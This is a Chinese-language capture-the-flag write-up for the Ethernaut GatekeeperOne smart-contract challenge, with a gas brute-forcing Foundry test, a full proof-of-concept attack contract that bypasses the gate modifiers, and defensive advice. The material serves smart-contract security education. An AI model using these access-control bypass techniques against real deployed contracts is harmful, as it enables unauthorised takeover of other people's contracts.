Ethernaut Solutions

on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
  • 平台网址:https://ethernaut.zeppelin.solutions/

GateKeeperOne合约分析

  • 攻击类型:访问权限控制
  • 目标:进入合约,将entrant更改成deployer
  • 要求:满足三个modifier条件
contract GatekeeperOne { address public entrant; /* 通过合约调用 GatekeeperOne.enter */ modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
  1. gateOne 这块非常简单,只需要从另一个合约调用 GatekeeperOne 合约。
  2. gateTwo 这要求我们运行到gateTwo进行require检查时,gasleft()的值能被8191整除,gasleft() returns (uint256)表征剩余gas。攻击者通过指定gas数量来达成攻击,那么如何去计算gas的数量呢?
    • Forge 可以帮助您估算您的合约将消耗多少 gas。 Gas reports:Gas 报告让您大致了解到 Forge 认为 你的合约中的各个函数消耗 gas 的概况。 Gas Tracking:Gas 跟踪让您了解 Forge 认为 您的合约中的各个函数消耗 gas 的具体细节。 运行forge test --gas-report,输出结果如下:
       | test/GateKeeper.t.sol:GatekeeperOne contract | | | | | | |----------------------------------------------|-----------------|-----|--------|-------|---------| | Function Name | min | avg | median | max | # calls | | enter | 350 | 398 | 350 | 22687 | 465 |
test/GateKeeper.t.sol:Solution contract
Function Nameminavgmedianmax# calls
Attack12691326126923679465
通过gas报告,我们可以看到`enter`函数消耗了350 gas,`Attack`函数消耗了1269 gas,也就是说我们调用Solution.Attack(),保证gas > 23679 + 350 = 24029 gas可以进入`GatekeeperOne.enter()`,这块为了保证攻击的成功,我们gas范围选取在 8191*3+1000~1500,通过for循环来测试攻击所需gas(通过测试1000以下的无法成功)。 ```solidity function test_Attack() public { vm.startBroadcast(deployer); bool success; for(uint256 i = 1000; i < 1500; i++){ uint gas = 8191*3 + i; success = solution.Attack{gas: gas}(); if(success){ console2.log("Success with gas", i); break; } } assertEq(gatekeeperOne.entrant(), deployer); vm.stopBroadcast(); }

最终得到 i = 1464, 并且通过了测试,在实际攻击时,指定gas为 8191*3+1464 会revert,所以根据结果来约束for循环区间来节约gas。

  1. gateThree 这需要满足3个require条件,其中第一个条件是uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),这个条件是检查gateKey的低16位是否等于高32位,形如 0x0000ffff & x ; 第二个条件是uint32(uint64(_gateKey)) != uint64(_gateKey),这个条件是检查gateKey的低32位是否不等于高64位,形如 0xffffffff+8位 & uint64(_gateKey) 就能够满足条件2; 第三个条件是uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),这个条件是检查gateKey的低32位是否等于tx.origin的低16位,形如 0x0000ffff,结合3个条件得到结果的掩码为 0xFFFFFFFF0000FFFF ——> bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF.

    Proof of Concept

    根据以上分析,完整的PoC代码如下:

     contract Solution { address contractAddress; constructor(address _contractAddress) { contractAddress = _contractAddress; } function Attack() external returns (bool) { bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF; (bool success,) = contractAddress.call(abi.encodeWithSignature("enter(bytes8)", key)); return success; } } 

contract GatekeeperOneTest is BaseTest {

GatekeeperOne public gatekeeperOne; Solution public solution; function setUp() public override { super.setUp(); gatekeeperOne = GatekeeperOne(contractAddress); solution = new Solution(address(gatekeeperOne)); } function test_Attack_gas() public { vm.startBroadcast(deployer); bool success; for(uint256 i = 1450; i < 1500; i++){ uint gas = 8191*3 + i; success = solution.Attack{gas: gas}(); if(success){ console2.log("Success with gas", i); break; } } assertEq(gatekeeperOne.entrant(), deployer); vm.stopBroadcast(); }

}

## 防御措施 在这个合约控制权限访问的三个modifier函数都并不是不可控制的,其中包含的gasleft(), tx.origin等都可以被利用,我们在编写合约时需要考虑到使用无法被操控的变量进行访问权限设置,并确保这些变量在合约中不会被修改, 避免使用tx.origin、避免过度依赖gasleft()、使用最新的 Solidity 版本等。 以下是一些在编写合约时可以考虑的方法: 1. 使用不可变变量: 在合约中使用constant或immutable关键字声明变量,这样可以确保其数值在合约部署后无法修改。这样的变量通常用于存储常量值或者一次性设置的值。 ```solidity contract MyContract { address public constant OWNER = 0x123...; // 不可变的合约拥有者地址 uint256 public immutable CREATION_TIME = block.timestamp; // 合约创建时间 }
  1. 访问控制列表 (Access Control Lists, ACLs): 使用 ACL 模式可以将权限控制逻辑集中化,将访问权限与角色/地址绑定,并在需要时修改 ACL 而不是直接修改权限控制函数。这种方法有助于提高可维护性和可扩展性。

    contract MyContract { mapping(address => bool) public isAdmin; constructor() { isAdmin[msg.sender] = true; // 合约部署者默认为管理员 } modifier onlyAdmin() { require(isAdmin[msg.sender], "Not an admin"); _; } }
  2. 抽象接口 (Abstract Interfaces): 将访问权限相关的逻辑抽象为接口,以便将来可以轻松地修改实现细节或者切换不同的权限控制策略。
     interface IAccessControl { function hasAccess(address _user) external view returns (bool); }

contract MyContract { IAccessControl public accessControl;

constructor(IAccessControl _accessControl) { accessControl = _accessControl; } modifier onlyAuthorized() { require(accessControl.hasAccess(msg.sender), "Unauthorized"); _; }

}